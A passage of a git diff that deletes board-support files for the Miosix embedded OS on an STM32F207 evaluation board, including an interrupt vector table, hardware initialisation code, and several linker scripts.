__attribute__((weak)) DCMI_IRQHandler(); -void __attribute__((weak)) CRYP_IRQHandler(); -void __attribute__((weak)) HASH_RNG_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMP_STAMP_IRQHandler, - RTC_WKUP_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Stream0_IRQHandler, - DMA1_Stream1_IRQHandler, - DMA1_Stream2_IRQHandler, - DMA1_Stream3_IRQHandler, - DMA1_Stream4_IRQHandler, - DMA1_Stream5_IRQHandler, - DMA1_Stream6_IRQHandler, - ADC_IRQHandler, - CAN1_TX_IRQHandler, - CAN1_RX0_IRQHandler, - CAN1_RX1_IRQHandler, - CAN1_SCE_IRQHandler, - EXTI9_5_IRQHandler, - TIM1_BRK_TIM9_IRQHandler, - TIM1_UP_TIM10_IRQHandler, - TIM1_TRG_COM_TIM11_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - OTG_FS_WKUP_IRQHandler, - TIM8_BRK_TIM12_IRQHandler, - TIM8_UP_TIM13_IRQHandler, - TIM8_TRG_COM_TIM14_IRQHandler, - TIM8_CC_IRQHandler, - DMA1_Stream7_IRQHandler, - FSMC_IRQHandler, - SDIO_IRQHandler, - TIM5_IRQHandler, - SPI3_IRQHandler, - UART4_IRQHandler, - UART5_IRQHandler, - TIM6_DAC_IRQHandler, - TIM7_IRQHandler, - DMA2_Stream0_IRQHandler, - DMA2_Stream1_IRQHandler, - DMA2_Stream2_IRQHandler, - DMA2_Stream3_IRQHandler, - DMA2_Stream4_IRQHandler, - ETH_IRQHandler, - ETH_WKUP_IRQHandler, - CAN2_TX_IRQHandler, - CAN2_RX0_IRQHandler, - CAN2_RX1_IRQHandler, - CAN2_SCE_IRQHandler, - OTG_FS_IRQHandler, - DMA2_Stream5_IRQHandler, - DMA2_Stream6_IRQHandler, - DMA2_Stream7_IRQHandler, - USART6_IRQHandler, - I2C3_EV_IRQHandler, - I2C3_ER_IRQHandler, - OTG_HS_EP1_OUT_IRQHandler, - OTG_HS_EP1_IN_IRQHandler, - OTG_HS_WKUP_IRQHandler, - OTG_HS_IRQHandler, - DCMI_IRQHandler, - CRYP_IRQHandler, - HASH_RNG_IRQHandler, -}; - -#pragma weak SysTick_Handler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMP_STAMP_IRQHandler = Default_Handler -#pragma weak RTC_WKUP_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream0_IRQHandler = Default_Handler -#pragma weak DMA1_Stream1_IRQHandler = Default_Handler -#pragma weak DMA1_Stream2_IRQHandler = Default_Handler -#pragma weak DMA1_Stream3_IRQHandler = Default_Handler -#pragma weak DMA1_Stream4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream5_IRQHandler = Default_Handler -#pragma weak DMA1_Stream6_IRQHandler = Default_Handler -#pragma weak ADC_IRQHandler = Default_Handler -#pragma weak CAN1_TX_IRQHandler = Default_Handler -#pragma weak CAN1_RX0_IRQHandler = Default_Handler -#pragma weak CAN1_RX1_IRQHandler = Default_Handler -#pragma weak CAN1_SCE_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_TIM9_IRQHandler = Default_Handler -#pragma weak TIM1_UP_TIM10_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_TIM11_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak OTG_FS_WKUP_IRQHandler = Default_Handler -#pragma weak TIM8_BRK_TIM12_IRQHandler = Default_Handler -#pragma weak TIM8_UP_TIM13_IRQHandler = Default_Handler -#pragma weak TIM8_TRG_COM_TIM14_IRQHandler = Default_Handler -#pragma weak TIM8_CC_IRQHandler = Default_Handler -#pragma weak DMA1_Stream7_IRQHandler = Default_Handler -#pragma weak FSMC_IRQHandler = Default_Handler -#pragma weak SDIO_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak UART4_IRQHandler = Default_Handler -#pragma weak UART5_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler -#pragma weak DMA2_Stream0_IRQHandler = Default_Handler -#pragma weak DMA2_Stream1_IRQHandler = Default_Handler -#pragma weak DMA2_Stream2_IRQHandler = Default_Handler -#pragma weak DMA2_Stream3_IRQHandler = Default_Handler -#pragma weak DMA2_Stream4_IRQHandler = Default_Handler -#pragma weak ETH_IRQHandler = Default_Handler -#pragma weak ETH_WKUP_IRQHandler = Default_Handler -#pragma weak CAN2_TX_IRQHandler = Default_Handler -#pragma weak CAN2_RX0_IRQHandler = Default_Handler -#pragma weak CAN2_RX1_IRQHandler = Default_Handler -#pragma weak CAN2_SCE_IRQHandler = Default_Handler -#pragma weak OTG_FS_IRQHandler = Default_Handler -#pragma weak DMA2_Stream5_IRQHandler = Default_Handler -#pragma weak DMA2_Stream6_IRQHandler = Default_Handler -#pragma weak DMA2_Stream7_IRQHandler = Default_Handler -#pragma weak USART6_IRQHandler = Default_Handler -#pragma weak I2C3_EV_IRQHandler = Default_Handler -#pragma weak I2C3_ER_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_OUT_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_IN_IRQHandler = Default_Handler -#pragma weak OTG_HS_WKUP_IRQHandler = Default_Handler -#pragma weak OTG_HS_IRQHandler = Default_Handler -#pragma weak DCMI_IRQHandler = Default_Handler -#pragma weak CRYP_IRQHandler = Default_Handler -#pragma weak HASH_RNG_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index 14d8a4c79..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,12 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -#define STM32F207xx -#include "CMSIS/Device/ST/STM32F2xx/Include/stm32f2xx.h" -#include "CMSIS/Include/core_cm3.h" -#include "CMSIS/Device/ST/STM32F2xx/Include/system_stm32f2xx.h" - -#define RCC_SYNC() //Workaround for a bug in stm32f42x - -#endif //ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/interfaces-impl/bsp.cpp b/miosix/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/interfaces-impl/bsp.cpp deleted file mode 100644 index b421278a7..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,147 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012, 2013, 2014 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/sd_stm32f2_f4_f7.h" -#include "drivers/dcc.h" -#include "board_settings.h" - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all gpios - RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | - RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | - RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | - RCC_AHB1ENR_GPIOGEN | RCC_AHB1ENR_GPIOHEN | - RCC_AHB1ENR_GPIOIEN; - RCC_SYNC(); - GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS - GPIOB->OSPEEDR=0xaaaaaaaa; - GPIOC->OSPEEDR=0xaaaaaaaa; - GPIOD->OSPEEDR=0xf3ff0f0f | 0xaaaaaaaa; //GPIOD,E,F,G are used by the FSMC - GPIOE->OSPEEDR=0xffffc00f | 0xaaaaaaaa; //configure those pins as 100MHz - GPIOF->OSPEEDR=0xff000fff | 0xaaaaaaaa; //(constants taken from - GPIOG->OSPEEDR=0x000c0fff | 0xaaaaaaaa; // SystemInit_ExtMemCtl) - GPIOH->OSPEEDR=0xaaaaaaaa; - GPIOI->OSPEEDR=0xaaaaaaaa; - _led::mode(Mode::OUTPUT); - sdCardDetect::mode(Mode::INPUT_PULL_UP); - ledOn(); - delayMs(100); - ledOff(); - auto tx=Gpio::getPin(); tx.alternateFunction(7); - auto rx=Gpio::getPin(); rx.alternateFunction(7); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(3,defaultSerialSpeed,tx,rx))); -} - -void bspInit2() -{ - #ifdef WITH_FILESYSTEM - basicFilesystemSetup(SDIODriver::instance()); - #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -/** -This function disables filesystem (if enabled), serial port (if enabled) and -puts the processor in deep sleep mode.
-Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. -
This function does not return.
-WARNING: close all files before using this function, since it unmounts the -filesystem.
-When in shutdown mode, power consumption of the miosix board is reduced to ~ -5uA??, however, true power consumption depends on what is connected to the GPIO -pins. The user is responsible to put the devices connected to the GPIO pin in the -minimal power consumption mode before calling shutdown(). Please note that to -minimize power consumption all unused GPIO must not be left floating. -*/ -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - - /* - Removed because low power mode causes issues with SWD programming - RCC->APB1ENR |= RCC_APB1ENR_PWREN; //Fuckin' clock gating... - RCC_SYNC(); - PWR->CR |= PWR_CR_PDDS; //Select standby mode - PWR->CR |= PWR_CR_CWUF; - PWR->CSR |= PWR_CSR_EWUP; //Enable PA.0 as wakeup source - - SCB->SCR |= SCB_SCR_SLEEPDEEP; - __WFE(); - NVIC_SystemReset(); - */ - for(;;) ; -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/interfaces-impl/bsp_impl.h deleted file mode 100644 index 4040a9f78..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,81 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" -#include "drivers/stm32_hardware_rng.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * used by the ledOn() and ledOff() implementation - */ -typedef Gpio _led; - -inline void ledOn() -{ - _led::high(); -} - -inline void ledOff() -{ - _led::low(); -} - -///\internal Pin connected to SD card detect -typedef Gpio sdCardDetect; - -/** - * Polls the SD card sense GPIO - * \return true if there is an uSD card in the socket. - */ -inline bool sdCardSense() -{ - return sdCardDetect::value()==0; -} - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/stm32_1m+128k_all_in_xram.ld b/miosix/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/stm32_1m+128k_all_in_xram.ld deleted file mode 100644 index cda0e1ae1..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/stm32_1m+128k_all_in_xram.ld +++ /dev/null @@ -1,144 +0,0 @@ -/* - * C++ enabled linker script for stm32 (1M FLASH, 128K RAM) + 2MB xram - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - all (code, .data, .bss, stacks, heap) in the external ram. - * It is most useful for debugging, since powercycling the board will erase code - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * In this linker script the main stack is placed at the top of the ram since: - * - having 2MB of ram makes the "stack at bottom of ram" optimization useless - * - the interrupt vectors are forwarded at the bottom of the ram - */ -_main_stack_size = 0x00000200; /* main stack size = 512Bytes */ -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the stack */ -_main_stack_top = 0x64200000; /* placed at the top of ram */ -_heap_end = _main_stack_top - _main_stack_size; - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - ram(wx) : ORIGIN = 0x64000000, LENGTH = 2M -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > ram - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > ram - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/stm32_1m+128k_rom.ld b/miosix/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/stm32_1m+128k_rom.ld deleted file mode 100644 index 0f0e7e033..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/stm32_1m+128k_rom.ld +++ /dev/null @@ -1,170 +0,0 @@ -/* - * C++ enabled linker script for stm32 (1M FLASH, 128K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 128KB microcontrollers */ -_heap_end = 0x20020000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 128K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/stm32_1m+128k_xram-data-bss-heap.ld b/miosix/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/stm32_1m+128k_xram-data-bss-heap.ld deleted file mode 100644 index a3d2bbce8..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/stm32_1m+128k_xram-data-bss-heap.ld +++ /dev/null @@ -1,165 +0,0 @@ -/* - * C++ enabled linker script for stm32 (1M FLASH, 128K RAM) + 2MB xram - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stack for interrupt handling in the internal ram - * - .data, .bss, heap (and stack of threads) in the external ram - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap into external RAM (2MB) */ -_heap_end = 0x64200000; - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M - ram(wx) : ORIGIN = 0x64000000, LENGTH = 0x200000 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/stm32_1m+128k_xram.ld b/miosix/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/stm32_1m+128k_xram.ld deleted file mode 100644 index 6349aa942..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/stm32_1m+128k_xram.ld +++ /dev/null @@ -1,171 +0,0 @@ -/* - * C++ enabled linker script for stm32 (1M FLASH, 128K RAM) + 